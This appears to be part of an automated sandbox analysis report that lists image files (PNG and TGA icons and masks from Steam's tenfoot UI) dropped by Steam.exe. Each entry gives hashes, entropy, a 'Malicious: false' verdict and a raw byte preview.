C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_user.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18834
Entropy (8bit):	3.40064555220982
Encrypted:	false
SSDEEP:
MD5:	BA34ADDCD1A906D5D507C2077983BEB9
SHA1:	61E7D093C7148CBC720918260BE8A729D303E80B
SHA-256:	4F33517C236778ADEFA0FE19C0A47A8FF0C6941E31088B69694B45C818D71F89
SHA-512:	66693954081AC07C0743B3A2A8798A5C306A44CFDE643BB11609C35270AD3EEF1199CD4BA0646CBCF9CE4A7789EA94E7113C4C7FF8164AF40A3F29FEE01CF33A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_web.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	26262
Entropy (8bit):	4.787303047327599
Encrypted:	false
SSDEEP:
MD5:	6018670FE3466D4312FAEE7394D012F6
SHA1:	09D8922D375ED275D854D67DB2700A6FA8BB74CA
SHA-256:	5476E0BE3DE7CA202A0635477F9983B84D8E020ECCFC2E5B9FE3C49D41813FCE
SHA-512:	E6F2A5608AEFE323567C6F461548B40B72D818AD5D84B39E113E2EFCE650EC3A82AEE726CE2310872C86885044E3F13522FE06497A5B98CEC2A0BC5C7B2329B3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............X......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\menu_mask.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 8, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18695
Entropy (8bit):	3.3516795787491565
Encrypted:	false
SSDEEP:
MD5:	23DE02D3D1BFA2721C01196646936B87
SHA1:	2DCE4430A89F746E1D01AC819EF31A81E29BEA20
SHA-256:	45C6901A6EDA59E715949262113D724E4023729E43E6165815DB35FFFE5A2B93
SHA-512:	35090723C9EB5CD1F06A64876029990913DBFAF4070919473E0FB3477E72A320E717CB8A585D1B05728172D61B5579D8576A1FF528CDDA639DD3B327B3893683
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............G.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\alt.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 32 x 32 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	4114
Entropy (8bit):	0.8804090410093247
Encrypted:	false
SSDEEP:
MD5:	EDCAB0FE54FB7B351D5487FBB6909AB0
SHA1:	6CB5921D4F9D1B1CEBA269A5C94B1AD2E53DE701
SHA-256:	09D3E138E89ACE7B5EC73974A8AD12E36A2056F13C473B51552852745368A27D
SHA-512:	432832FFFCE96769AB0F0D03AD956C0B8DF8D35A0062E6BB2726E36779CD894365B675B3C0E6D475D1F1E392A1708DDD69428581395E2D2B6424E18889546AA6
Malicious:	false
Reputation:	unknown
Preview:	............ . . .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\back.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 36 x 36 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	5202
Entropy (8bit):	1.2279367673462962
Encrypted:	false
SSDEEP:
MD5:	5657DCDDEA5F47795A647251D58534DF
SHA1:	D91DA7393EBE40C427DD5DD3C35D4F899C608A59
SHA-256:	DC81CC87F83BBD53C21F16F8041F15049EAF7F28E3310874767657D3DE8152B1
SHA-512:	F9A3F971DA8E9A33E6C3346AB506139A3E4EAE3775FEB886926C186D636494C6E2020973FA323F610DBFD3FD33E4594C823C27BDC63CBE22A3EBD7E38C8DD286
Malicious:	false
Reputation:	unknown
Preview:	............$.$. ................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................3...............................................................................................................................................3...........................................................................a..........................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\del.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 64 x 72 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	18476
Entropy (8bit):	2.5243363085201556
Encrypted:	false
SSDEEP:
MD5:	C8432A32D470759621FDD657FA23E3FC
SHA1:	51E814248CBAE9D4673F47CF9AF8E1C6005A8F43
SHA-256:	023D37365EDF2D2FBBA88500CBC0AA9DBF2F70578D5C656C21CA7EE9F896010D
SHA-512:	15190A4ED3B29D231E90CBA8E879142318915B5C50CA40744832477D096A4F07A34C2D2C9186D551696ED38177F43319688D6F2CB2060632E105C41A7D83D883
Malicious:	false
Reputation:	unknown
Preview:	............@.H. ..~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\drop01.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 250 x 250 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	250044
Entropy (8bit):	2.270049679714089
Encrypted:	false
SSDEEP:
MD5:	0A97DDE5C99C8A9AA06D14A7027E0A20
SHA1:	E6456E490C3D0D048E1C88F38D8642B4A7DFDDD8
SHA-256:	EAC8041B3FFE2AEEEC07A05647CEC4D51B7CF635479050AACF938E9D150FD797
SHA-512:	7F9E5D5C09258D93A4CD24B5EFFE9F27A6436997C035515788730F98D7EB1573280D1E1AA1979CF69CCCBA3CA8C270CA3A3DAD4AEE10B2CF48452C84B0674198
Malicious:	false
Reputation:	unknown
Preview:	................ .RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\drop02.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 250 x 250 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	250044
Entropy (8bit):	2.2695479132679797
Encrypted:	false
SSDEEP:
MD5:	D28A96CA8EB73A07720D58033B7BC98B
SHA1:	93B2BDE5D8CADAAD09D8D04C68C5C0B077E68F4C
SHA-256:	F8952A2262633E82A3DA41C53235301326342D91F633B6F699D22C966D847E04
SHA-512:	F7A73DEB9DDAC9C5FB692FD251B821F1B1F6F37C388F1BF9FA69C9C932F0693ACB9EEF112DB92D5A8BE573FEF5DF145B5E3D536F222E612E7B093BFEE80EA012
Malicious:	false
Reputation:	unknown
Preview:	................ .RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\drop03.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 250 x 250 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	250044
Entropy (8bit):	2.2685953257086338
Encrypted:	false
SSDEEP:
MD5:	75ED9AFD7150FAC4E4407DEB15B8C022
SHA1:	0E2C646FE47D38209E6DA0A9CCB7CE2D35CE1153
SHA-256:	E47E9463ECFFDE74A3022F57C3D7ACEB6A893AF2171F968EE47EFB5D66AC888A
SHA-512:	B3ACA06D8A23FB5CA25DD6F5C3C5FB4C26DB43C518EE8178BFEC8C73BA65DEF86271220293DB6F0597679230993777A886C8A7A8F2CFB990FE8AEBB092CE968C
Malicious:	false
Reputation:	unknown
Preview:	................ .RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\drop04.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 250 x 250 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	250044
Entropy (8bit):	2.26174889162312
Encrypted:	false
SSDEEP:
MD5:	424F7D9F07D187DE5ABF27937E96C42B
SHA1:	865F92A9B9BAA74C7BD07BE09399DF508994BDD2
SHA-256:	2F136C1C98FCD67906BFBBA7B70BF38E4DF1335B42177F8019D9A4C11D5D12F1
SHA-512:	CBB8A2771D62644BC9C93E41AB14DC85F85649666ED4B1D31825497FE76C95EDB30315435020FFE40326C5CB2789A8E787FD82193FD196BE7DECB6E761A6A19E
Malicious:	false
Reputation:	unknown
Preview:	................ .RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\drop05.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 250 x 250 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	250044
Entropy (8bit):	2.283644474960266
Encrypted:	false
SSDEEP:
MD5:	2570E8769A917DBFBABE7C35CBECA2DE
SHA1:	AA4AA3A457147EE8502F90BF27A8EAB0A7691808
SHA-256:	46FE0A502E27C7AD09EDBAE536407BDD9EE6976D5E423CCF99BC7D2B620E35B3
SHA-512:	5320BD431F0F0D89765F2C1F6B7363A3E78C9E1D67AF2D60387EF71BB1996FD7E630461C5552FE3A3DA5D80D549AF2BE0D18C5E79C3D1AA0F4771BBEB31BCCBC
Malicious:	false
Reputation:	unknown
Preview:	................ .RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&&RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\drop06.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 250 x 250 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	250044
Entropy (8bit):	2.261275232504763
Encrypted:	false
SSDEEP:
MD5:	C7AFC24E396DA59A4EF402DDD2CCBCEB
SHA1:	DAFBCA40F8420FDF6C426FA6A3F0F6A43FB493D9
SHA-256:	996CD2D01542CEC922C384708DCBFC8AEE8773333EBDA9A398F0236675F129B1
SHA-512:	013FF1F14B8C7214C88E42CF5D270324F4BBAC6BF6B5EAFA7DADF8D658C0EAA97A52F326DF62867DAB7926E8EDBCB5BAC89A0E675C57DE5558F78B1BCE313EF2
Malicious:	false
Reputation:	unknown
Preview:	................ .RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\drop07.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 250 x 250 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	250044
Entropy (8bit):	2.2685192013330924
Encrypted:	false
SSDEEP:
MD5:	ADDEFCA611E58EA9175DE09743EDC56E
SHA1:	AA9DB51E056EA0444D9FA886FA2708AA377AACF1
SHA-256:	DFB29CA77AB9B6680CBF7C5E30663FE6BED2E2A22E4FC5CB06000039273FD5F2
SHA-512:	8EE94F15E6E979226092F49D1603191451AB3829061037DCDA7670A1E0A0D39DA4DC9BAAEAB40FD25CFDD8B316304CFEEF73F5460CC270F93AACF60C8B276A4E
Malicious:	false
Reputation:	unknown
Preview:	................ .RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE